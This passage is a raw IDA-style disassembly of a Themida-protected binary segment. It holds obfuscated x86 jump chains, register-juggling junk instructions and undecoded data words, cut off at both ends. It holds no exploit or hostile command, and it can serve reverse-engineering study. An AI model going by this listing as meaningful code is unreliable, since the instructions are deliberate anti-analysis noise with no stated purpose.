0FB682404h, 89000003h, 8953241Ch, 0FC51E9E3h dd 0B8FFFEh, 0E9000000h, 0FFFFFF3Fh ; --------------------------------------------------------------------------- loc_5A30C4: ; CODE XREF: Themida_:005976B5j push edx mov dh, 0Ch sub dh, 0C1h jmp loc_59BEB2 ; --------------------------------------------------------------------------- db 81h dd 0C7AF75C7h, 5FFA89FFh, 0B2E9D701h, 56FFFF20h, 0C681E689h dd 4, 2C681h, 34870000h, 2EE95C24h, 81FFFF12h, 600F31E9h dd 57E92904h, 0EC5F64BFh, 33EF8154h, 0E9508C50h, 0FFFF3A05h ; --------------------------------------------------------------------------- loc_5A3110: ; CODE XREF: Themida_:0059B521j xor [esp], ecx xor ecx, [esp] pop esp jmp loc_59C1AB ; --------------------------------------------------------------------------- dd 7BDAC381h, 0F5E9153Bh, 66FFFF8Eh, 0E9240C89h, 0FFFF80BBh ; --------------------------------------------------------------------------- loc_5A3130: ; CODE XREF: Themida_:00595BC1j add [esp+4], eax pop eax pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5A1215 ; --------------------------------------------------------------------------- dw 489h dd 4EC8324h, 0FF234CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3155: ; CODE XREF: Themida_:0059CBE3j add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_5A54B8 ; --------------------------------------------------------------------------- db 5Ah dd 315DEA89h, 24148BD0h, 5704C483h, 0FF4D80E9h, 0BA525DFFh dd 74A82DD4h, 60E9D101h db 0F2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A3183: ; CODE XREF: Themida_:005A1086j mov dh, ah mov ch, dh mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5A0060 ; --------------------------------------------------------------------------- dd 0C728C5B0h, 0FFE3DFE9h, 0BA5257FFh, 29E3321Bh, 0DDF7EA87h dd 0D2F7EA87h, 4EC81h, 0EFE90000h, 5CFFFF19h, 0E9242489h dd 0FFFF2E20h, 0C781EF29h, 44A46F5h, 8BFB295Dh, 8953243Ch dd 4C381E3h, 0E9000000h, 0FFFF34E2h ; --------------------------------------------------------------------------- loc_5A31E0: ; CODE XREF: Themida_:0059E818j push dword ptr [esp] mov ebp, [esp] jmp loc_59322D ; --------------------------------------------------------------------------- loc_5A31EB: ; CODE XREF: Themida_:0059B50Ej add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp pop dword ptr [esp] pop esp bt [esp], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- db 89h dd 0EB815FFEh, 5DF30F77h, 0C381F301h, 5DF30F77h, 81D9E95Eh dd 1487FFFFh, 44815C24h, 3060424h, 54014800h, 0BB530424h dd 164A26FEh, 8143DBF7h, 18730EE3h, 8E3C115h, 0FEFAEB81h dd 4481C850h, 7CEA0824h, 5C291309h, 89E90824h db 35h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A325F: ; CODE XREF: Themida_:00598699j pop eax push 0 sub [esp], ebp mov ebp, [esp] add esp, 4 shl ebp, 1 xor ebp, 0D64BC71Fh push ecx mov ecx, 13FF74C4h sub eax, ecx mov ecx, [esp] jmp loc_5A0FFF ; --------------------------------------------------------------------------- loc_5A3286: ; CODE XREF: Themida_:00596062j push edi mov edi, 11045E2Fh inc edi jmp loc_59C80F ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 83000000h, 1C8704C3h, 0EC835C24h, 24148904h dd 4BAh, 0C6EB8100h, 12DAF18h, 0C6C381D3h, 8B2DAF18h, 54522414h dd 0C2BB535Ah, 8125D479h, 0D479BEEBh, 5BDA0125h, 0FFCED8E9h dd 0E9EF31FFh, 491h ; --------------------------------------------------------------------------- loc_5A32DC: ; CODE XREF: Themida_:0059CDEFj pop ecx push eax push 23B3h jmp loc_59834C ; --------------------------------------------------------------------------- loc_5A32E8: ; CODE XREF: Themida_:005A207Cj add ecx, 0FFFFFFFFh shl ecx, 5 push edx jmp loc_59E805 ; --------------------------------------------------------------------------- dd 0C181F929h, 320427D4h, 74FF515Fh, 0E9590424h, 0FFFF5EB8h dd 4C281h, 0EE90000h, 80FFFF92h, 0E9C0FBC1h, 0F8F18003h dd 0F659CA00h, 0F482E9DAh, 0C281FFFEh, 4, 4C281h, 0C0E90000h dd 0FFFF36h, 0ABA3E9C3h, 0C87FFFFh, 104AE924h, 2C33FFFFh dd 0CC90E924h, 348BFFFFh, 58D2E924h db 2 dup(0FFh) word_5A3356 dw 0AA68h ; DATA XREF: Themida_:00590880o dd 89000065h, 0FF68241Ch, 0FFFFFFFBh, 34FF2434h, 6A72E924h dd 0F488FFFFh, 5A58E188h, 0FF9D7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3379: ; CODE XREF: Themida_:005A22E0j mov [esp], ecx mov ecx, esp jmp loc_596381 ; --------------------------------------------------------------------------- loc_5A3383: ; CODE XREF: Themida_:0059D93Dj pop esp push 5F2Bh jmp loc_596346 ; --------------------------------------------------------------------------- dw 0BE56h dd 62766F83h, 0FF8644E9h, 4BAFFh, 0C7810000h, 5A630F88h dd 44E8C781h, 0D72928B4h, 0FF6512E9h, 53BA52FFh, 4A0AE141h dd 0FF8D05E9h, 240C89FFh, 0FF15C2E9h, 241433FFh, 0D324248Bh dd 0E99C2424h, 0FFFED6C7h, 83242C8Bh, 23E904C4h db 8Dh, 2 dup(0FFh) byte_5A33DF db 0FFh ; DATA XREF: Themida_:00590838o dd 34FF2434h, 2434FF24h, 4C48159h, 0E9000000h, 0FFFF69CDh dd 81241C8Bh, 4C4h, 5FFA2900h, 8B241487h, 1C892424h, 127EE924h dd 5655FFFFh, 0C2777ABEh, 0EBC6817Dh, 501B3E4Dh, 14676DB8h dd 37642D0Ah, 24E9FC7Ch, 0C1FFFEDEh, 0C78102E7h, 13D717Ch dd 7EBFB951h, 0CF29BD06h, 0BAD4E959h db 2 dup(0FFh) word_5A3442 dw 8B66h ; DATA XREF: Themida_:00590808o dd 40E9240Ch, 81FFFF7Ch, 4C3h, 6A8C6800h, 1BE90000h, 89000019h dd 74FF241Ch, 34FF0424h, 2434FF24h, 4C4815Bh, 81000000h dd 4C4h, 24048F00h, 6824248Bh, 2588h, 0E9242C89h, 0FFFFD5A8h ; --------------------------------------------------------------------------- loc_5A3488: ; CODE XREF: Themida_:00597430j push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_59884D ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 4BFh, 0FFFB0100h, 835F2434h, 0EB8304C4h, 241C8704h dd 197DE9h db 0 ; --------------------------------------------------------------------------- loc_5A34C5: ; CODE XREF: Themida_:0059E618j mov eax, 0C6A2172Fh sub ebx, eax pop eax jmp loc_5A08D0 ; --------------------------------------------------------------------------- loc_5A34D2: ; CODE XREF: Themida_:0059810Bj push eax neg dword ptr [esp] pop eax push ebx mov ebx, 742C4779h add eax, ebx jmp loc_59D9D0 ; --------------------------------------------------------------------------- dd 0CB11BF0Dh, 0ACFDE946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A34EE: ; CODE XREF: Themida_:005A4D71j mov esp, [esp] jmp loc_59CD98 ; --------------------------------------------------------------------------- loc_5A34F6: ; CODE XREF: Themida_:005915A5j add edi, 322E11FBh add edi, ebx sub edi, 322E11FBh sub edi, 0A5524DEh jmp loc_594B52 ; --------------------------------------------------------------------------- db 81h dd 504246Ch, 81204C01h, 0FA04246Ch, 0E90EF60Ah, 0FFFF665Fh ; --------------------------------------------------------------------------- loc_5A3524: ; CODE XREF: Themida_:005994CCj xor edx, esi jmp loc_5A489A ; --------------------------------------------------------------------------- loc_5A352B: ; CODE XREF: Themida_:0059961Cj sub edi, 7B866EE4h jmp loc_5910EA ; --------------------------------------------------------------------------- word_5A3536 dw 8B66h ; DATA XREF: Themida_:00590A14o dd 0E9522404h, 0FFFF5AEEh, 4C681h, 0DEE90000h db 8Bh, 2 dup(0FFh) byte_5A354B db 66h ; DATA XREF: Themida_:005909C8o dd 68240C8Bh, 7A06h, 68241C89h, 5C4Dh, 0FFD472E9h, 3E7C1FFh dd 0FF7375E9h, 4B8FFh, 8AE90000h, 50FFFF35h, 5366DEB4h dd 5DE9FFB7h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A357F: ; CODE XREF: Themida_:00594470j pop esi sub ebx, 0E774503h add ebx, 587802F8h inc ebx neg ebx add ebx, 687BE199h add edx, ebx jmp loc_59B02C ; --------------------------------------------------------------------------- loc_5A359C: ; CODE XREF: Themida_:0059D75Aj xor ebx, [esp] pop esp pop ecx and eax, ebp push dword ptr [esp] jmp loc_599BED ; --------------------------------------------------------------------------- loc_5A35AB: ; CODE XREF: Themida_:005A3AACj sub edx, 4 xchg edx, [esp] jmp loc_5981F5 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 2 dd 8303EAC1h, 2C8904ECh, 0A11CBD24h, 0EA290080h, 3F2CE95Dh dd 3C89FFFFh, 53E78924h, 610222BBh, 38E9567Bh, 89000005h dd 74FF240Ch, 0C8B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_59B481 ; --------------------------------------------------------------------------- loc_5A35FB: ; CODE XREF: Themida_:00596724j push edx mov edx, esp add edx, 4 push edi mov edi, 784B563Ah neg edi shl edi, 3 dec edi shl edi, 6 sub edi, 69538BBCh sub edx, edi jmp loc_5A3FA7 ; --------------------------------------------------------------------------- loc_5A3620: ; CODE XREF: Themida_:005A46CBj mov dh, cl xchg ch, dh not ch xchg ch, dh mov cl, dh pop dx push bx mov bl, 0BEh sub cl, bl pop bx push ebx mov bl, 9 jmp loc_59353F ; --------------------------------------------------------------------------- dd 89241489h, 4C281E2h, 50000000h, 4B8h, 58C20100h, 0E9241487h dd 0FFFF68D1h, 81C18141h, 1FB5917h, 505559CDh, 9A6EE956h db 2 dup(0FFh) word_5A366A dw 34FFh ; DATA XREF: Themida_:00590980o aYhgs db '$YhGs',0 dw 8900h aSs_2 db ',$é˜',9,0 db 0 ; --------------------------------------------------------------------------- loc_5A367B: ; CODE XREF: Themida_:00594CC1j sub esi, ebx pop ebx mov ebp, esi mov esi, [esp] add esp, 4 push edx mov edx, 3BFE7284h xor ebp, edx pop edx push edi mov edi, 74E35925h or ebp, edi pop edi dec ebp sub esp, 4 mov [esp], eax mov eax, 2FD200B6h and ebp, eax mov eax, [esp] add esp, 4 push edx mov edx, 2129089Ch push edx dec dword ptr [esp] pop edx not edx jmp loc_59A431 ; --------------------------------------------------------------------------- dd 0E4FAE94Bh, 1489FFFEh, 2DB75324h, 0FE03EFC0h, 0BBC780CFh dd 0FE5BFA88h, 61CA80C2h, 0FF96D8E9h, 75E95AFFh db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A36EB: ; CODE XREF: Themida_:005A4C5Ej sub edi, 106B04E5h pop edx sub esp, 4 jmp loc_5A0D29 ; --------------------------------------------------------------------------- loc_5A36FD: ; CODE XREF: Themida_:0059B7D1j push ecx push 4 pop ecx add ebp, ecx jmp loc_594581 ; --------------------------------------------------------------------------- db 89h dd 0FFB9240Ch, 1FFFFFFh, 240C8BCFh, 0E904C483h, 0FFFFB2ABh ; --------------------------------------------------------------------------- loc_5A3720: ; CODE XREF: Themida_:00593E14j and edi, 27106EFFh dec edi sub edi, 0DEF71CC9h xor ecx, edi pop edi push ebp mov ebp, ecx jmp loc_59B788 ; --------------------------------------------------------------------------- loc_5A3738: ; CODE XREF: Themida_:00595B9Ej add ebx, 67236F13h sub ebx, 66936A62h sub ebx, ebp add ebx, 66936A62h sub ebx, 67236F13h pop ebp jmp loc_5A55AC ; --------------------------------------------------------------------------- dd 4E53BE56h, 0EEC10C73h, 0BF574E06h, 29B3148Ch, 0FF7ED4E9h dd 0E7815DFFh, 461565E0h, 40E1F781h, 0FE294204h, 0FFBB535Fh dd 29FFFFFFh, 0FDE95BDEh db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A378B: ; CODE XREF: Themida_:005941EBj pop dword ptr [edi+24h] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] jmp loc_593B9A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 56000000h, 0C681E689h, 4, 8704C683h, 0ACE92434h, 1FFFF42h dd 7E685BD9h, 89000061h, 468243Ch, 5F000000h, 75E9F929h dd 87FFFF12h, 248B241Ch, 9BFEE924h, 3489FFFFh, 57E68924h dd 1646B951h, 0D1F7430Eh, 0E9D9F741h, 0FFFF10D3h ; --------------------------------------------------------------------------- loc_5A37F8: ; CODE XREF: Themida_:005A495Fj mov [esp], esi mov esi, 5D30CEEBh add eax, 58430A8h sub eax, 733809F3h add eax, esi add eax, 733809F3h sub eax, 58430A8h jmp loc_59770F ; --------------------------------------------------------------------------- db 87h dd 0D3E92414h db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3823: ; CODE XREF: Themida_:005A46E7j pop eax jmp loc_5A4789 ; --------------------------------------------------------------------------- db 81h, 0C2h, 80h dd 12FC9A6h, 0DD295AD5h, 2609ED81h, 515B558Bh, 60DE5B9h dd 1BE5671h, 29000000h, 33E95EF1h, 8BFFFEFEh, 0BFE92424h dd 52FFFEE7h, 956564BAh, 6560B96Fh, 0D1316F95h, 28C7685Ah dd 52E90000h, 81FFFF5Eh, 4C2h, 0F2E95700h, 5FFFFF88h, 4E97CD81h dd 0D6E92C2Ch, 55FFFFB6h, 0DFF6E952h, 0BB53FFFFh, 4, 815BDD01h dd 4C5h, 242C8700h, 0FFB1A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A38A5: ; CODE XREF: Themida_:005A3F69j add esp, 4 or eax, eax jz loc_594EF0 push dword ptr [edi+1Ch] push ebx push edi jmp loc_598ABF ; --------------------------------------------------------------------------- db 29h, 6Ch, 24h dd 24448104h, 57298A04h, 246C8127h, 0F816E804h, 0EE7E907h dd 0E95B0000h, 0FFFFFB6Fh, 3304C783h, 3C31243Ch, 243C3324h dd 8124248Bh, 4ECh, 242C8900h, 0A110BEBDh, 0ED81451Ch dd 6337752Ah, 0C106EDC1h, 814505E5h, 4B3243C5h, 0EAC281A3h dd 1152C3Ch, 0EAEA81EAh, 8B152C3Ch, 0C481242Ch, 4, 8904EC83h dd 0B768243Ch, 5F178667h, 0C107EFC1h, 0EF8102EFh, 0BC32Fh dd 3B53C281h, 0EA8115E3h, 5D9A591Eh, 0C281FA29h, 5D9A591Eh dd 3B53EA81h, 875F15E3h, 895C2414h, 0EC81241Ch, 4, 0E9240489h dd 0FFFFB91Eh, 0B7E95266h, 87FFFF58h, 7E9240Ch, 0F6FFFFF5h dd 452E9DAh, 1C890000h, 66B8B724h, 880B151h, 9221E9CFh dd 5EBAFFFFh, 3149E619h, 0E7E95AD6h, 89FFFEEBh, 405E0h dd 4050000h, 87000000h, 5C2404h, 0C5805BDDh, 0E9E83085h dd 1B5Ah, 7557EB81h, 875E2A1Bh, 248B241Ch, 242CD224h, 0D0C9E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A39D2: ; CODE XREF: Themida_:005A2DA8j add ebp, ecx pop ecx sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_596B0F ; --------------------------------------------------------------------------- dw 0EC83h dd 24148904h, 8B2414F6h, 0D4E92414h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A39F7: ; CODE XREF: Themida_:005992F6j add esp, 4 add edi, 4 sub esp, 4 mov [esp], ecx sub esp, 4 jmp loc_59F979 ; --------------------------------------------------------------------------- db 35h, 0FAh, 3Ch dd 0E9486167h, 0FFFFB612h, 47B9515Eh, 149912Bh, 240C8BC8h dd 3504C483h, 68634291h, 0E958C289h, 0FFFEFE33h, 81F70158h dd 0C45359C7h, 2B685147h, 59240D41h, 0BF57h, 6AE90000h dd 89FFFFEFh, 0EEBD242Ch, 17F3E7Ch, 6B685DEAh, 89000050h dd 0BEE92404h db 53h, 2 dup(0FFh) byte_5A3A6B db 0ADh ; DATA XREF: Themida_:005907E8o dd 5655D831h, 0FFB72BE9h, 0D6F581FFh, 0E901D80Ch, 0FFFFD850h ; --------------------------------------------------------------------------- loc_5A3A80: ; CODE XREF: Themida_:005A5059j add edi, 573B5A83h pop ebx std push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax push edx mov edx, esp add edx, 4 jmp loc_5A35AB ; --------------------------------------------------------------------------- db 1, 0DAh, 5Bh dd 0B830EA81h, 0D001F38Bh, 0FEF5AFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3AC1: ; CODE XREF: Themida_:00596B6Bj shl ebp, 5 push esi mov esi, 52BA203Ah xchg edx, esi inc edx push esi push edx pop esi pop edx jmp loc_595139 ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFB738h ; --------------------------------------------------------------------------- loc_5A3ADC: ; CODE XREF: Themida_:00591FDCj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_591A33 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5A04h, 24248B24h, 0FFDE4CE9h, 0FC581FFh, 1001425h dd 0E95751FDh, 0FFFED529h, 8A2E2D68h, 72E95A79h, 0BEFFFFE4h dd 5A757F9Ch, 0FFD378E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3B25: ; CODE XREF: Themida_:00595C7Dj mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_59A4D6 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 87000000h, 0F65C241Ch, 68CAFED2h, 4281h, 0B0240489h dd 8BC228FEh, 0C6E92404h, 68FFFF42h, 61B53F85h, 0EB87E958h dd 0E95CFFFFh, 0FFFF8754h, 1B243481h, 5E7E8E23h, 231BF681h dd 6DE97E8Eh, 5000010h, 4, 5C240487h, 4C481h, 14680000h dd 89000032h, 6856243Ch, 45D3181Ch, 0FFC2EFE9h, 6B9668FFh dd 4890000h, 3CE95424h, 31FFFFC5h, 0F3215FFEh, 2C3815Eh dd 1ACFFFEh, 241C8BDFh, 6804C483h, 8Ah, 0BB241C89h, 4 dd 135EF81h, 0DF015073h, 8904EC83h, 7DB9240Ch, 0C1259140h dd 0F74904E9h, 0F6BF57D9h, 0F7542C11h, 32CF81D7h, 0E9140523h dd 0FFFF7D01h, 17E68166h, 0DEF7666Bh, 4BE68166h, 0C681665Eh dd 2966166Ah, 24348BF0h, 0E904C483h, 0FFFF6CE5h, 8324148Bh dd 0E0E904C4h, 31FFFF65h, 34332434h, 2C895C24h, 225E6824h dd 0E2E90000h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3C37: ; CODE XREF: Themida_:005A0E75j add dword ptr [esp], 4EB14E62h jmp loc_5A4648 ; --------------------------------------------------------------------------- loc_5A3C43: ; CODE XREF: Themida_:005A0D65j push edi mov edi, 662A4111h and ebp, edi pop edi and ebp, 6B067E0Fh add ebp, 3C017F87h sub ebp, 0F0BA0AD0h mov ebx, ebp pop ebp sub ebx, ebp pop ebp jmp loc_59F79B ; --------------------------------------------------------------------------- aFi4S db 'f‰4$éÇ',7,0 align 2 loc_5A3C72: ; CODE XREF: Themida_:00594EE4j mov ecx, esi pop esi jmp loc_5A055B ; --------------------------------------------------------------------------- dw 0D488h dd 0E958E588h, 0FFFF5893h ; --------------------------------------------------------------------------- loc_5A3C84: ; CODE XREF: Themida_:0059142Cj mov [esp], edi mov edi, 12E962EDh neg edi xor edi, 2BFA6B59h xor edi, 0DF8CBA83h add ebx, edi pop edi push ecx mov ecx, 67054331h xor ebx, ecx pop ecx push ecx jmp loc_59EADF ; --------------------------------------------------------------------------- dd 0C89BA52h, 0D7894EA7h, 0BD41E95Ah, 2489FFFFh, 0BAE95624h db 20h, 2 dup(0FFh) byte_5A3CC3 db 66h ; DATA XREF: Themida_:00590904o dd 8124048Bh, 4ECh, 240C8900h, 0FF6BCFE9h, 24148BFFh, 4C481h dd 50520000h, 0FFBD5CE9h, 1C8B66FFh, 2C48124h, 68000000h dd 3E9Eh, 0FFF9D1E9h, 2897B4FFh, 0A6D2E9E7h, 489FFFFh dd 2898B424h, 24048BE2h, 4C481h, 88530000h, 8BF988D7h dd 8956241Ch, 4C681E6h, 81000000h, 4C6h, 24348700h, 27E95A5Ch dd 81FFFFA1h, 4C4h, 0E9535200h, 0FFFF544Bh, 0F205F9BDh dd 0D0B95155h, 173C830h, 666BE9CDh, 76B0FFFFh, 0CE95C04h dd 59FFFEF7h, 815A5452h, 4C2h, 0E786E900h, 285AFFFEh, 241C8BF9h dd 6604C483h, 0CA885250h, 148BD488h, 0A63EE924h, 0BBB1FFFFh dd 1DE9D100h, 0FFFFFF6Ah, 0E9042474h, 0FFFF07B6h, 2BAh dd 7C18100h, 146C728h, 7E981D1h, 8B46C728h, 0C4812414h dd 4, 502E68h, 0F829E900h, 0EB29FFFFh, 783AC381h, 8B5D01B5h dd 0C4832404h, 0CCCDE904h, 0E952FFFEh, 0FFFF6254h, 802CEA80h dd 0D70879EAh, 44EF805Ah, 201AB050h, 9D24E9C7h, 0C231FFFFh dd 0FF175BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3DF1: ; CODE XREF: Themida_:005949ABj push edx mov edx, 0EF14CBE3h xor ebx, edx mov edx, [esp] add esp, 4 jmp loc_59AFE3 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C2E95824h, 66000000h, 0E9240C89h, 0FFFEDFBFh dd 8BFC8859h, 0C483241Ch, 435BE904h, 0E958FFFFh, 0FFFFE381h ; --------------------------------------------------------------------------- loc_5A3E30: ; CODE XREF: Themida_:005A1AF4j add edx, 6B937D0Eh add edi, edx mov edx, [esp] add esp, 4 jmp loc_596BB4 ; --------------------------------------------------------------------------- db 28h dd 0ED4E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3E4A: ; CODE XREF: Themida_:0059BC31j xor eax, ebp jmp loc_590CED ; --------------------------------------------------------------------------- db 83h, 0EFh, 2 dd 31243C33h, 6AE9243Ch, 5CFFFF8Bh, 2904C483h, 96B850C2h dd 8157BE2Eh, 2A76BEC2h, 2536E95Fh, 148BFFFFh, 40E95524h dd 81FFFFE7h, 0CAD012C6h, 5EF38959h, 0FFFC24E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3E8D: ; CODE XREF: Themida_:0059FA22j add ebx, eax pop eax push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp push ebx mov ebx, 8613A36h mov eax, ebx pop ebx add eax, 25A41CF7h sub eax, edi jmp loc_596E23 ; --------------------------------------------------------------------------- dw 0B850h dd 74B55F7h, 4D63548h, 0C1817679h, 7AB37672h, 0E749E956h dd 0C281FFFFh, 4, 0FFDBC9E9h, 4C481FFh, 68000000h, 2CBDh dd 54241C89h, 55241C8Bh, 22FCE954h, 8150FFFFh, 24A62434h dd 0BDE920C6h, 83FFFFE0h, 2C8904ECh, 10E95124h, 5FFFEDDh dd 4, 4BA52h, 542D0000h, 2D07A91Fh, 1A4C23E9h, 0AC6F062Dh dd 5D00141h, 41AC6F06h, 0FEEB6CE9h, 3F34BBFFh, 0A3E90F12h dd 0BAFFFEE8h, 53825B79h, 3E2C142h, 8305E2C1h, 0E94A01C2h dd 0FFFF4036h, 29E9F328h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3F53: ; CODE XREF: Themida_:0059B7F1j xchg edi, [esp] jmp loc_59E103 ; --------------------------------------------------------------------------- db 8Bh dd 0EDE92424h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3F63: ; CODE XREF: Themida_:0059584Dj and eax, ebx push dword ptr [esp] pop ebx jmp loc_5A38A5 ; --------------------------------------------------------------------------- word_5A3F6E dw 5251h ; DATA XREF: Themida_:005909F8o dd 0C2815A54h, 4, 4EA81h, 62E90000h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3F83: ; CODE XREF: Themida_:0059D087j xor ah, dh jmp loc_59B720 ; --------------------------------------------------------------------------- dw 2C89h dd 81E58924h, 4C5h, 4ED8100h, 87000000h, 895C242Ch, 0AFE92404h db 0E0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A3FA7: ; CODE XREF: Themida_:005A361Bj pop edi xchg edx, [esp] pop esp mov [esp], esi jmp loc_598613 ; --------------------------------------------------------------------------- loc_5A3FB4: ; CODE XREF: Themida_:005A0217j add ebp, 4 sub esp, 4 mov [esp], eax jmp loc_59FBDB ; --------------------------------------------------------------------------- dd 405E089h, 83000000h, 48704E8h, 67E95C24h db 35h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3FDB: ; CODE XREF: Themida_:00591034j shl esi, 8 jmp loc_592CF6 ; --------------------------------------------------------------------------- loc_5A3FE3: ; CODE XREF: Themida_:0059E5FDj push edx mov edx, 21CC43B3h jmp loc_591F20 ; --------------------------------------------------------------------------- dw 7868h dd 58658E0Dh, 74BE5657h, 0C14E0E50h, 0EE8108E6h, 3FFA08A1h dd 0DEF7E6D1h, 1E30E681h, 36E9678Fh, 89FFFF3Eh, 6B03E9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A401A: ; CODE XREF: Themida_:0059B82Aj add [esp+8], eax pop eax jmp loc_59CEA0 ; --------------------------------------------------------------------------- dd 241C895Ch, 0FFD8A1E9h, 2C783FFh, 0FF301AE9h, 4C181FFh dd 87000000h, 815C240Ch, 4C4h, 0CA51E900h, 5156FFFEh, 0B61100B9h dd 3F25E938h, 1489FFFFh, 5A6ABA24h, 564A50DAh, 0AA0F36BEh dd 0EE814E0Fh, 0C3F390E7h, 925EF209h, 0D3E99240h, 8BFFFFFFh dd 0C1212424h, 6E9C158h, 22C568h, 242C8900h, 4EC81h, 4890000h dd 0E0895024h, 0FF3DA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4099: ; CODE XREF: Themida_:00598ABAj xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax pop dword ptr [edi+40h] push dword ptr [esp] jmp loc_598504 ; --------------------------------------------------------------------------- dd 6106ABBBh, 0F957BE70h, 0DE018F9Eh, 8BF1015Bh, 89532434h dd 4C381E3h, 83000000h, 0D5E904C3h, 89000002h, 76BB241Ch dd 0C16B8558h, 814B02EBh, 0E15618EBh, 7C5811Ah, 81192860h dd 770EB4C5h, 81DD0149h, 770EB4EDh, 7ED8149h, 5B192860h dd 0E904EC83h, 0FFFF35B2h, 0E9EE2858h, 0FFFEE215h, 3104C483h dd 3E5468D2h, 1C890000h, 1065E924h, 4BF0000h, 1000000h dd 5F04247Ch, 4C6815Eh, 68000000h, 2898h, 0FFACC8E9h, 5D829FFh dd 40D764EDh, 4837F105h, 2434FF00h, 4C4835Bh, 0FF6FF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A4155: ; CODE XREF: Themida_:0059EF58j pop ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5937BA ; --------------------------------------------------------------------------- dw 0C9B9h dd 8158551Fh, 0E067BC9h, 4EF1816Eh, 81274038h, 1F2E39F1h dd 2E1C158h, 25C0E181h, 0C1817C8Bh, 6F741B59h, 6859CB21h dd 430Eh, 0E9240C89h, 11BBh, 4244401h, 4246C81h, 2E13316Eh dd 5850BD55h, 6C2919B2h, 0FF5D0824h, 43E92434h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A41D7: ; CODE XREF: Themida_:005A1479j mov edi, [esp] push 7908h jmp loc_59D5A5 ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 4C58100h, 53000000h, 4EC81h, 14890000h dd 5D2CBA24h, 0D38910B2h, 0FF60F0E9h, 241487FFh, 0BB96E95Ch dd 8850FFFFh, 0E9C188F0h, 0FFFFD59Ch ; --------------------------------------------------------------------------- loc_5A421C: ; CODE XREF: Themida_:0059DF34j mov ebx, [esp] add esp, 4 xor eax, 7AC0C3E8h push eax mov edi, [esp] jmp loc_59AA5C ; --------------------------------------------------------------------------- db 1 dd 0E7EB81EBh, 8B0EEF64h, 8950242Ch, 405E0h, 4050000h dd 87000000h, 515C2404h, 4B9h, 59CB0100h, 31241C33h, 1C33241Ch dd 24248B24h, 0FFD777E9h, 0E9E589FFh, 0FFFF2C8Ch, 50243489h dd 1E240481h, 0FF422117h, 835E2434h, 6EE904C4h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4287: ; CODE XREF: Themida_:00599F5Ej push esp jmp loc_5A148D ; --------------------------------------------------------------------------- loc_5A428D: ; CODE XREF: Themida_:00599A5Aj xchg esi, [esp] mov esp, [esp] push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edi push ecx jmp loc_592EB3 ; --------------------------------------------------------------------------- dw 0CE89h dd 52240C8Bh, 0FF5C23E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A42B9: ; CODE XREF: Themida_:0059C991j push 35E6h jmp loc_59AA79 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 4C50E681h, 0E9524FE8h, 0FFFFF6BAh, 0E95AD589h dd 0FFFF70AAh, 293BF281h, 0DDE90AA2h, 0FFFFFF6Eh, 53582434h dd 0C381E389h, 4, 0FF408CE9h, 11DB8FFh, 0C131336Ah, 59CB2958h dd 6851F329h, 1F83h, 